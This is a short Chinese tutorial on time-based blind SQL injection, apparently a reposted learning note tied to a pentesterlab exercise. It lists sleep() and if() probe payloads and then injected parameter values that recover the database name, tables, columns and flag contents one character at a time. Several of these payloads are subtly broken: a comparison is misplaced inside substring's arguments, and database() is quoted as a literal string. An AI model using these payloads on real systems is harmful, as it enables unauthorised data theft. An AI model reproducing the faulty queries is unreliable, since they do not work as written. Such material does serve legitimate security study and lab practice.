SQL時間型注入


SQL時間型注入

  判斷時間型注入時,只要讓sleep()函數執行成功,那么就可以根據回顯時間判斷是否為時間型注入

  在時間型注入中,常常用到if()函數,if(語句一,語句2,語句3),如果語句一為真,執行語句2,否則執行語句3

  幾個常用的判斷函數,substring(),length,user(),database(),下面是幾個判斷時間型注入的常見語句

    ' and if(1=0,1, sleep(10)) --+

    " and if(1=0,1, sleep(10)) --+

    ) and if(1=0,1, sleep(10)) --+

    ') and if(1=0,1, sleep(10)) --+

    ") and if(1=0,1, sleep(10)) --+

 

   type=sleep(3)--+  這里有個參數type,判斷出存在時間注入,那么接下來我們就可以和盲注型注入差不多進行注入,在進行字符判斷時,可以使用二分法加快速率

  1.  判斷數據庫長度

    type=if(length(database())=12,sleep(2),100)--+

     2.    判斷數據庫名字

    type=if(substring(database(),1,1)='p',111,sleep(3))--+

  3.  判斷表名

    type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+

     4.    判斷列名

    type=if(substring((select column_name from information_schema.columns where table_name='flag' and table_schema='database()' limit

0,1),1,1='a'),11111,sleep(1))--+

     5.    判斷具體字段內容

    type=if(substring((select flag from pentesterlab.flag limit 0,1),1,1='a'),sleep(3),111111) --+ 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM